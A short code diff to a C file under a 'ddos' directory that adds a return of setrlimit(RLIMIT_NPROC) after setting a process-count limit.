--- a/ddos/set_limit.c +++ b/ddos/set_limit.c @@ -11,5 +11,6 @@ rlim.rlim_cur = processes; rlim.rlim_max = processes + 24; + return setrlimit (RLIMIT_NPROC, &rlim); }